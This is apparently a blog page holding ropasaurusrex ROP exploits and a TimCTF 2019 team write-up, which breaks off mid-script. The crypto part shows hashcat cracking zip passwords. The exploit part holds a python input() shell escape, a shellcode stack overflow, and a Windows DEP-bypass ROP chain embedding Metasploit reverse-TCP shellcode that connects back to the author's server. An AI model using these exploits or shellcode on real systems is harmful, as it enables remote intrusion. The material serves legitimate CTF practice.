ropasaurusrex


[*] read leak Exploit


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
 
= process('./ropasaurusrex')
= ELF('./ropasaurusrex')
= ROP(e)
 
pop3ret = 0x80484b6
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
write_got = e.got['write']
read_system_offset = 0x9ad60 # read - system
bss = e.bss()
 
payload = 'A'*140 # buf + sfp -> ret
r.read(0,bss,8# /bin/sh\x00 
r.write(1,read_got,4# leak
r.read(0,read_got,4# system
r.raw(read_plt) # read_plt execute -> .got -> system
r.raw('AAAA'# dummy
r.raw(bss) # /bin/sh
payload += str(r)
 
p.send(payload)
p.send('/bin/sh\x00')
 
sleep(1)
 
read = u32(p.recv())
system = read - read_system_offset
 
p.send(p32(system))
 
p.interactive()
cs



[*] write leak Exploit



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
 
= ELF('./ropasaurusrex')
# lib = ELF('/lib/x86_64-linux-gnu/libc.so.6')
= ROP(e)
= process('./ropasaurusrex')
#ibrop = ROP("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
 
pop3ret = 0x80484b6
read_plt = e.plt['read']
write_plt = e.plt['write']
read_got = e.got['read']
write_got = e.got['write']
write_system_offset = 0x9add0 # write - system
bss = e.bss()
 
payload = 'A'*140
r.read(0,bss,8# /bin/sh -> bss
r.write(1,write_got,4# write leak
r.read(0,write_got,4# write_got -> system
r.raw(write_plt) # system
r.raw('AAAA'# dummy
r.raw(bss) # /bin/sh
payload += str(r)
 
p.send(payload)
p.send('/bin/sh\x00')
 
sleep(1)
 
write = u32(p.recv())
system = write - write_system_offset
 
p.send(p32(system))
 
p.interactive()
cs


'Hacking' 카테고리의 다른 글

SQLI 정리  (0) 2019.11.12
LFI Vuln  (0) 2019.11.11
ARM Reversing  (0) 2019.08.04
IDA PRO 테마 적용  (0) 2018.12.27
메모리 보호기법 해제  (0) 2018.12.19


Team : Complex

Rank : 7

Country : Republic of Korea

Points : 4,426

Crypto

Baby Crypto (50pts)

This file seems… odd

In the name of the problem, I thought it was a Caesar cipher.

So I use Caesar decoder site. ( https://cryptii.com/ )

Shift by 8 to get the flag.

Otil bw amm gwc uilm qb! Emtkwum bw bpm ewvlmznct ewztl wn kzgxbwozixpg! Pmzm qa gwcz zmeizl: BQUKBN{Rctqca_Kimaiz_e0ctl_j3_xzwcl}

=> Glad to see you made it! Welcome to the wonderful world of cryptography! Here is your reward: TIMCTF{Julius_Caesar_w0uld_b3_proud}

FLAG : TIMCTF{Julius_Caesar_w0uld_b3_proud}


Proof of work (100pts)

While developing an anti-bot system we thought of a system to test if the users are indeed human. You need to enter a string whose SHA256 has the last 7 digits 0. As this hash is secure you need to use some processing power, thus denying spam. Sort of like mining bitcoin.

nc 89.38.208.143 21021

just bruteforce attack and find sha256 end of 0000000

import hashlib
import re

import string
ALLOWED_CHARACTERS = string.printable
NUMBER_OF_CHARACTERS = len(ALLOWED_CHARACTERS)

def characterToIndex(char):
    return ALLOWED_CHARACTERS.index(char)

def indexToCharacter(index):
    if NUMBER_OF_CHARACTERS <= index:
        raise ValueError("Index out of range.")
    else:
        return ALLOWED_CHARACTERS[index]

def next(string):
    if len(string) <= 0:
        string.append(indexToCharacter(0))
    else:
        string[0] = indexToCharacter((characterToIndex(string[0]) + 1) % NUMBER_OF_CHARACTERS)
        if characterToIndex(string[0]) is 0:
            return list(string[0]) + next(string[1:])
    return string

def main():
    sequence = list()
    while True:
        sequence = next(sequence)
        tmp = ''.join(i for i in sequence)
        m = hashlib.sha256()
    	m.update(tmp)
    	md5string=m.hexdigest()
        print md5string
        if md5string[57:] == '0000000':
            print md5string + " : " + tmp
            exit(0)

if __name__ == "__main__":
    main()

after connecting to the nc server, enter S@"m4 to get the flag.

FLAG : IMCTF{9e13449f334ded947431aa5001c2e9ab429ab5ddf880f416fe352a96eb2af122}


Alien Alphabet (150pts)

I found this strange text. It is written in some strange alphabet. Can you decode it?

i found this cipher is TEMPHIS .

I translated the last line and found a flag.

FLAG : TIMCTF{TEMPHIS_IS_AWESOME}


Password breaker (150pts)

I heard you were good at cracking passwords!

Hint! What are the most common attacks on a password? Dictionary and bruteforce

Hint! If it takes more than a few minutes you’re doing it wrong.

So I thought I had to solve the problem with a dictionary attack and brute force.

I used https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt ( rockyou.txt ) for dictionary attack.

And I used zip2john and hashcat.

First, I find zip file’s hash.

juntae@ubuntu:~/JohnTheRipper/run$ ./zip2john flag.zip 
flag.zip/stage2.zip:$zip2$*0*3*0*9ac9ce6ee278a40d4cf411eaa648131b*fd6b*b2*78cef498d2a837ebd25d26208209f19952c77ab4c21f0d68c2fca0f766bf59341fc96a1d7939008fe56bf8668337f7916baa22389b0fc27e2cb0047c3ff05e2dde94c33fde57190fe478b52636464bf8ee32fc36860270f1b8a921236b2b46ac16f813e77992ce3344906f9da2647a1fd15cce19f70cc9b1346e300adde56b0e31508793d9dea93140262dae208c88f536a93511f4bafd3b5ccc90543f7e0c2820902e7c4499c9330ab00dcf3e0b4b8535fa*c57c8b72e78f366e2d87*$/zip2$:stage2.zip:flag.zip:flag.zip

And make hash.txt

$zip2$*0*3*0*9ac9ce6ee278a40d4cf411eaa648131b*fd6b*b2*78cef498d2a837ebd25d26208209f19952c77ab4c21f0d68c2fca0f766bf59341fc96a1d7939008fe56bf8668337f7916baa22389b0fc27e2cb0047c3ff05e2dde94c33fde57190fe478b52636464bf8ee32fc36860270f1b8a921236b2b46ac16f813e77992ce3344906f9da2647a1fd15cce19f70cc9b1346e300adde56b0e31508793d9dea93140262dae208c88f536a93511f4bafd3b5ccc90543f7e0c2820902e7c4499c9330ab00dcf3e0b4b8535fa*c57c8b72e78f366e2d87*$/zip2$

Finally, use hashcat.

I can get zip file’s password.

Microsoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Users\aaa\Desktop\hashcat-5.1.0\hashcat-5.1.0>hashcat64.exe -m 13600 flag_hash.txt rockyou.txt
hashcat (v5.1.0) starting...

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 960, 512/2048 MB allocatable, 8MCU

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Watchdog: Temperature abort trigger set to 90c

Dictionary cache built:
* Filename..: rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 1 sec

$zip2$*0*3*0*9ac9ce6ee278a40d4cf411eaa648131b*fd6b*0*78cef498d2a837ebd25d26208209f19952c77ab4c21f0d68c2fca0f766bf59341fc96a1d7939008fe56bf8668337f7916baa22389b0fc27e2cb0047c3ff05e2dde94c33fde57190fe478b52636464bf8ee32fc36860270f1b8a921236b2b46ac16f813e77992ce3344906f9da2647a1fd15cce19f70cc9b1346e300adde56b0e31508793d9dea93140262dae208c88f536a93511f4bafd3b5ccc90543f7e0c2820902e7c4499c9330ab00dcf3e0b4b8535fa*c57c8b72e78f366e2d87*$/zip2$:johncena1234

Session..........: hashcat
Status...........: Cracked
Hash.Type........: WinZip
Hash.Target......: $zip2$*0*3*0*9ac9ce6ee278a40d4cf411eaa648131b*fd6b*.../zip2$
Time.Started.....: Wed Sep 18 23:17:18 2019 (4 secs)
Time.Estimated...: Wed Sep 18 23:17:22 2019 (0 secs)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:   266.9 kH/s (5.84ms) @ Accel:64 Loops:62 Thr:64 Vec:1
Recovered........: 1/1 (100.00%) Digests, 1/1 (100.00%) Salts
Progress.........: 917504/14344384 (6.40%)
Rejected.........: 0/917504 (0.00%)
Restore.Point....: 884736/14344384 (6.17%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:992-999
Candidates.#1....: lennylove -> jam16
Hardware.Mon.#1..: Temp: 54c Fan: 30% Util: 76% Core:1468MHz Mem:3004MHz Bus:16

Started: Wed Sep 18 23:17:15 2019
Stopped: Wed Sep 18 23:17:24 2019

C:\Users\aaa\Desktop\hashcat-5.1.0\hashcat-5.1.0>

first password is johncena1234.

The password for stage2 can also be found in the same way.

Here, brute force is used.

juntae@ubuntu:~/JohnTheRipper/run$ ./zip2john stage2.zip 
stage2.zip/flag.txt:$zip2$*0*3*0*91f5b5c56b6f9aa71f0197c3f93e42c1*a1f8*21*1e7161f9e69797bd2fd8807cf7322289965fc39ea99ad05bab85343f58b802183a*d2163b2e7e4d1d7d89c2*$/zip2$:flag.txt:stage2.zip:stage2.zip

Finally, Brute force it!

C:\Users\aaa\Desktop\hashcat-5.1.0\hashcat-5.1.0>hashcat64.exe -m 13600 -a 3 stage2_hash.txt a?a?a?a?
hashcat (v5.1.0) starting...

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 960, 512/2048 MB allocatable, 8MCU

INFO: All hashes found in potfile! Use --show to display them.

Started: Wed Sep 18 23:46:31 2019
Stopped: Wed Sep 18 23:46:31 2019

C:\Users\aaa\Desktop\hashcat-5.1.0\hashcat-5.1.0>hashcat64.exe -m 13600 -a 3 stage2_hash.txt a?a?a?a? --show
$zip2$*0*3*0*91f5b5c56b6f9aa71f0197c3f93e42c1*a1f8*21*1e7161f9e69797bd2fd8807cf7322289965fc39ea99ad05bab85343f58b802183a*d2163b2e7e4d1d7d89c2*$/zip2$:bo$$

C:\Users\aaa\Desktop\hashcat-5.1.0\hashcat-5.1.0>

Last password is bo$$.

FLAG : TIMCTF{12345_is_A_bad_passw0rd}


TimCTF gamblig service (200pts)

Predict the next number to win. Are you that lucky?

nc 89.38.208.143 21023

  • First I thought Mersenne Twister
  • But It wasn’t
  • I just guess Unixtime and that’s right
from pwn import *
from ctypes import *
c = CDLL("/lib/x86_64-linux-gnu/libc.so.6")

p = remote("89.38.208.143",21023)
c.srand(c.time(0)) 
for i in range(10):
	p.recvuntil("choice: ")
	p.sendline("1")
	x = int(p.recvline())
	print i+1," : Predict=",c.rand()," : Recved=",
	print x
p.recvuntil("choice: ")
p.sendline("2")
p.recvuntil("guess: ")
p.sendline(str(c.rand()))
p.interactive()
  • I failed few times, but finally Succeed.
circler@Circler:/mnt/c/Users/Circler/Documents/ctf/timisoara/crypto$ python ctype.py
[+] Opening connection to 89.38.208.143 on port 21023: Done
1  : Predict= 1085972033  : Recved= 1085972033
2  : Predict= 1086492775  : Recved= 1086492775
3  : Predict= 199921567  : Recved= 199921567
4  : Predict= 1854423452  : Recved= 1854423452
5  : Predict= 637623845  : Recved= 637623845
6  : Predict= 1180811229  : Recved= 1180811229
7  : Predict= 1322382820  : Recved= 1322382820
8  : Predict= 297329854  : Recved= 297329854
9  : Predict= 1637532318  : Recved= 1637532318
10  : Predict= 1132466532  : Recved= 1132466532
[*] Switching to interactive mode
Congratulations! Here is your reward: TIMCTF{Now_You_c4N_ch3at_aT_pacanele}
[*] Got EOF while reading in interactive

FLAG : TIMCTF{Now_You_c4N_ch3at_aT_pacanele}


Strange cipher (250pts)

I have found this strange encryption service. Can you decode it?

nc 89.38.208.143 21022

from pwn import *
import string
p = remote('89.38.208.143',21022)
p.recvuntil('flag: ')
enc = p.recvline()
enc = enc.split(' ')
del enc[-1]
print enc
table = string.printable
payload = ''
attempt = 254
for i in range(8):
    for j in table:
        p.sendlineafter('remaining: ',payload + j)
        p.recvuntil('Encrypted string: ')
        go = p.recvline().split()
        if enc[i] == go[i]:
            payload += j
            print "[*] payload = " + payload
            break
        print 'try -> ' + str(attempt) + " : " + j
        attempt -= 1
p.interactive()

brute force attack and make table

FLAG : TIMCTF{Y0u_really_make_A_diff3rence}


Exploit

Hiss hiss python (50pts)

This snake likes to h1ss at its input.

nc 89.38.208.144 11113

Hint! What is wrong with python input function?

import sys
print ("Hello user! I will give you a test. If you pass it, you get the flag\n")
print ("What is 2 + 3? ")
sys.stdout.flush()
x = input()

if (x == 5):
    print("Eh, I was just kidding. No flag for you")
else:
    print("Try again!")

Python input function has vulnerability.

If I use this vulnerability, I can execute any command.

This is easy python-jail-break problem, no filtering.

So, I can find python-jail-cheatsheet in google, and I use it.

Exploit

from pwn import *

#context.log_level = "debug"
r = remote("89.38.208.144", 11113)
command = "__import__('subpro'+'cess').call(['/bin/sh', '-s'])"
r.sendlineafter("? \n",command)
r.interactive()

FLAG : TIMCTF{h1ss_h1ss_shell}


Swag (100pts)

The server only lets hackers in, not script kiddies.

nc 89.38.208.144 11111

First, I see swag.cpp

#include <stdio.h>
#include <time.h>
#include <stdlib.h>

using namespace std;

int global_cookie;
int main()
{
	char name[64];
	int cookie;
	int a;
	srand(time(0));
	cookie = rand();
	global_cookie = cookie;
	a = 2;
	printf("Enter your name: ");
	fflush(stdout);
	gets(name);
	printf("Hello, %s", name);

	if((cookie != global_cookie) || (a != 1))
	{
		printf(", it appears you don't have enough swag\n");
		exit(0);
	}
	printf(", I really like your swag. Come in!\n");
	return 0;
}

and, I open swag binary with IDA pro.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  char v5; // [rsp+0h] [rbp-50h]
  int v6; // [rsp+48h] [rbp-8h]
  int v7; // [rsp+4Ch] [rbp-4h]

  v3 = time(0LL);
  srand(v3);
  v7 = rand();
  global_cookie = v7;
  v6 = 2;
  printf("Enter your name: ", argv);
  fflush(_bss_start);
  gets(&v5);
  printf("Hello, %s", &v5);
  if ( v7 != global_cookie || v6 != 1 )
  {
    puts(", it appears you don't have enough swag");
    exit(0);
  }
  puts(", I really like your swag. Come in!");
  puts("Your access code is: TIMCTF{1_am_th3_c00kie_m0nsta}");
  return 0;
}

FLAG : TIMCTF{1_am_th3_c00kie_m0nsta}


Bof-server (100pts)

Today kids we learn how to write exploits for super-secure software: bof-server!

nc 89.38.208.144 11112

(non-standard flag format)

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-100h]

  printf("Hello! Here is the stack address: %llx, enter your name please: ", &v4, envp);
  fflush(_bss_start);
  gets(&v4);
  printf("Nice to meet you, %s!\n", &v4);
  return 0;
}

This binary use gets(), we can catch RIP.

And, problem gives me stack address.

Finally, NX bit is disabled.

juntae@ubuntu:~/ctf/timisoara/pwn/bof-server$ checksec bof-server
[*] '/home/juntae/ctf/timisoara/pwn/bof-server/bof-server'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

This is mitigation of problem.

Exploit

As explained earlier, I can use shellcode.

So, I build shellcode in stack and make RIP stack address.

from pwn import *

context.arch = "amd64"
#context.log_level = "debug"

#r = remote("89.38.208.144",11112)
r = process("./bof-server")
e = ELF("./bof-server")
libc = e.libc

r.recvuntil(": ")
stack = int(r.recv(12),16)
log.info("stack : " + hex(stack))

shellcode = shellcraft.sh()

payload = asm(shellcode) 
payload = payload.ljust(0x108,"\x00")
payload += p64(stack)
r.sendlineafter("please: ",payload)

r.interactive()

FLAG : TIMCTF{oooverfl0w}wwwWWW


Rop Me Baby (200pts)

Can you still pull out a buffer overflow attack if the stack is non-executable? Let’s find out:

nc 89.38.208.147 2025

Note: as socat is not working in windows for some reason there is only one instance of this running at a time. Please make sure you disconnect properly. We will add more ports asap.

.text:000000000040159A ; __unwind { // sub_4ADA90
.text:000000000040159A                 push    rbp
.text:000000000040159B                 push    rbx
.text:000000000040159C                 mov     eax, 13D8h
.text:00000000004015A1                 call    sub_40C5F0
.text:00000000004015A6                 sub     rsp, rax
.text:00000000004015A9                 lea     rbp, [rsp+80h]
.text:00000000004015B1                 call    sub_40B220
.text:00000000004015B6                 lea     rax, [rbp+1360h+WSAData]
.text:00000000004015BD                 mov     rdx, rax        ; lpWSAData
.text:00000000004015C0                 mov     ecx, 202h       ; wVersionRequested
.text:00000000004015C5                 mov     rax, cs:WSAStartup
.text:00000000004015CC                 call    rax ; WSAStartup
.text:00000000004015CE                 mov     r8d, 6          ; protocol
.text:00000000004015D4                 mov     edx, 1          ; type
.text:00000000004015D9                 mov     ecx, 2          ; af
.text:00000000004015DE                 mov     rax, cs:socket
.text:00000000004015E5                 call    rax ; socket
.text:00000000004015E7                 mov     [rbp+1360h+s], rax
.text:00000000004015EE                 mov     [rbp+1360h+name.sa_family], 2
.text:00000000004015F7                 mov     dword ptr [rbp+1360h+name.sa_data+2], 0
.text:0000000000401601                 mov     ecx, 2025       ; hostshort
.text:0000000000401606                 mov     rax, cs:htons
.text:000000000040160D                 call    rax ; htons
.text:000000000040160F                 mov     word ptr [rbp+1360h+name.sa_data], ax
.text:0000000000401616                 lea     rax, [rbp+1360h+name]
.text:000000000040161D                 mov     rcx, [rbp+1360h+s] ; s
.text:0000000000401624                 mov     r8d, 10h        ; namelen
.text:000000000040162A                 mov     rdx, rax        ; name
.text:000000000040162D                 mov     rax, cs:bind
.text:0000000000401634                 call    rax ; bind
.text:0000000000401636                 cmp     eax, 0FFFFFFFFh
.text:0000000000401639                 setz    al
.text:000000000040163C                 test    al, al
.text:000000000040163E                 jz      short loc_401666
.text:0000000000401640                 lea     rdx, aUnableToBindSo ; "Unable to bind socket!\r\n"
.text:0000000000401647                 mov     rcx, cs:off_4B6FB0
.text:000000000040164E                 call    sub_4A9FC0
.text:0000000000401653                 mov     rax, cs:WSACleanup
.text:000000000040165A                 call    rax ; WSACleanup
.text:000000000040165C                 mov     ebx, 0
.text:0000000000401661                 jmp     loc_401955

First, open socket and port 2025.

So, I think rop_me_baby.exe is server

.text:0000000000401666 loc_401666:                             ; CODE XREF: sub_40159A+A4↑j
.text:0000000000401666                 mov     rax, [rbp+1360h+s]
.text:000000000040166D                 mov     edx, 14h        ; backlog
.text:0000000000401672                 mov     rcx, rax        ; s
.text:0000000000401675                 mov     rax, cs:listen
.text:000000000040167C                 call    rax ; listen
.text:000000000040167E                 lea     rdx, aWaitingForClie ; "Waiting for clients: "
.text:0000000000401685                 mov     rcx, cs:off_4B6FB0
.text:000000000040168C                 call    sub_4A9FC0

Second, start listen and waiting client.

.text:0000000000401807                 mov     rdx, rax        ; buf
.text:000000000040180A                 mov     rax, [rbp+1360h+var_18]
.text:0000000000401811                 mov     r9d, 0          ; flags
.text:0000000000401817                 mov     r8d, ebx        ; len
.text:000000000040181A                 mov     rcx, rax        ; s
.text:000000000040181D                 mov     rax, cs:send
.text:0000000000401824                 call    rax ; send
.text:0000000000401826                 lea     rax, [rbp+1360h+var_60]
.text:000000000040182D                 mov     rcx, rax
.text:0000000000401830                 call    sub_48FBF0
.text:0000000000401835                 lea     rax, [rbp+1360h+var_80]
.text:000000000040183C                 mov     rcx, rax
.text:000000000040183F                 call    sub_48FBF0
.text:0000000000401844                 mov     rax, [rbp+1360h+var_18]
.text:000000000040184B                 mov     r9d, 0          ; flags
.text:0000000000401851                 mov     r8d, 1000h      ; len
.text:0000000000401857                 lea     rdx, buf        ; buf
.text:000000000040185E                 mov     rcx, rax        ; s
.text:0000000000401861                 mov     rax, cs:recv
.text:0000000000401868                 call    rax ; recv
.text:000000000040186A                 mov     [rbp+1360h+var_34], eax
.text:0000000000401870                 mov     eax, [rbp+1360h+var_34]
.text:0000000000401876                 mov     edx, eax
.text:0000000000401878                 lea     rcx, buf
.text:000000000040187F                 call    sub_401550
.text:0000000000401884                 lea     rdx, aReceived  ; "Received: "
.text:000000000040188B                 mov     rcx, cs:off_4B6FB0
.text:0000000000401892                 call    sub_4A9FC0

Third, server wait payload.

The place to enter payload is BSS section.

This part causes the vulnerability. Because the length limit is not appropriate.

So, I can catch RIP .

Exploit

I used reverse connection Because it is communication between server and client.

This .exe has DEP protection.

So we have to bypass DEP with windows ROP.

The payload scenario is shown below.

0. Prepare a server for reverse connection.
1. Set register. ( RCX,RDX,R8,R9 )
2. Call VirtualProtect. ( This function can turn off DEP. )
	- VirtualProtect in kernel32.dll
	- problem give kernel32.dll's base address
	- We can use kernel32's function!
3. build NOP sled + window reverse shellcode.
4. Change the RIP to the position where the nop sled is located.
5. The shell is connected to the my server.

Gadgets were extracted from the rop_me_baby.exe binary using rp++.

My gadget is here.

pop_rbx = 0x00401D52 # pop rbx ; ret ;

pop_rcx = 0x0040c620 # pop rcx ; ret ;
pop_rdx = 0x00401095 # pop rdx ; xor eax, eax ; add rsp, 0x28 ; ret ;
pop_r8  = 0x004960b3 # pop r8 ; add rsp, 0x28 ; pop rbx ; pop rsi ; ret;
pop_r9  = 0x004a4a14 # pop r9 ; mov byte [rbx+0x000000E1], 0x00000001 ; mov byte [rbx+0x000000E0], sil ; add rsp, 0x20 ; pop rbx ; pop rsi ; pop rdi ; ret ;
log.info("pop_rcx : " + hex(pop_rcx))
log.info("pop_rdx : " + hex(pop_rdx))
log.info("pop_r8  : " + hex(pop_r8))
log.info("pop_r9  : " + hex(pop_r9))

The shellcode came from the metasploit with the windows x64 tcp reverse conection.

My shellcode is here.

shellcode = ""
shellcode += "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" 
shellcode += "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" 
shellcode += "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" 
shellcode += "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" 
shellcode += "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" 
shellcode += "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" 
shellcode += "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" 
shellcode += "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" 
shellcode += "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" 
shellcode += "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" 
shellcode += "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" 
shellcode += "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" 
shellcode += "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" 
shellcode += "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" 
shellcode += "\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33" 
shellcode += "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00" 
shellcode += "\x00\x49\x89\xe5\x49\xbc\x02\x00\x2d\x5b\xd3\xef\x7c\xed"
shellcode += "\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
shellcode += "\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
shellcode += "\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
shellcode += "\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea" 
shellcode += "\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89" 
shellcode += "\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81" 
shellcode += "\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00" 
shellcode += "\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0" 
shellcode += "\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01" 
shellcode += "\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41" 
shellcode += "\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d" 
shellcode += "\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48" 
shellcode += "\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff" 
shellcode += "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5" 
shellcode += "\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" 
shellcode += "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"
# windows x64 reverse shell TCP

Finally, my full exploit code is here.

from pwn import *

#context.log_level = "debug"

r = remote("89.38.208.147",2025) #remote
#r = remote("192.168.2.234",2025) #local
r.recvuntil("Ntdll address is: ")
ntdll = int(r.recv(12),16)

r.recvuntil("kernel32 address is: ")
kernel32 = int(r.recv(12),16)

log.info("ntdll : " + hex(ntdll))
log.info("kernel32 : " + hex(kernel32))

protect = kernel32 + 0x14d0 #remote
#protect = kernel32 + 0x1acb0 #local

bss = 0x0000000004DE040
log.info("bss : " + hex(bss))

shellcode = ""
shellcode += "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" 
shellcode += "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" 
shellcode += "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" 
shellcode += "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" 
shellcode += "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" 
shellcode += "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" 
shellcode += "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" 
shellcode += "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" 
shellcode += "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" 
shellcode += "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" 
shellcode += "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" 
shellcode += "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" 
shellcode += "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" 
shellcode += "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" 
shellcode += "\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33" 
shellcode += "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00" 
shellcode += "\x00\x49\x89\xe5\x49\xbc\x02\x00\x2d\x5b\xd3\xef\x7c\xed"
shellcode += "\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
shellcode += "\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
shellcode += "\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
shellcode += "\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea" 
shellcode += "\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89" 
shellcode += "\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81" 
shellcode += "\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00" 
shellcode += "\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0" 
shellcode += "\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01" 
shellcode += "\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41" 
shellcode += "\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d" 
shellcode += "\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48" 
shellcode += "\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff" 
shellcode += "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5" 
shellcode += "\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" 
shellcode += "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"
# windows x64 reverse shell TCP

##### parameter #####
# rcx	:	bss
# rdx	:	0x6000
# r8	:	0x40
# r9	:	bss + 0x1000

pop_rbx = 0x00401D52 # pop rbx ; ret ;

pop_rcx = 0x0040c620 # pop rcx ; ret ;
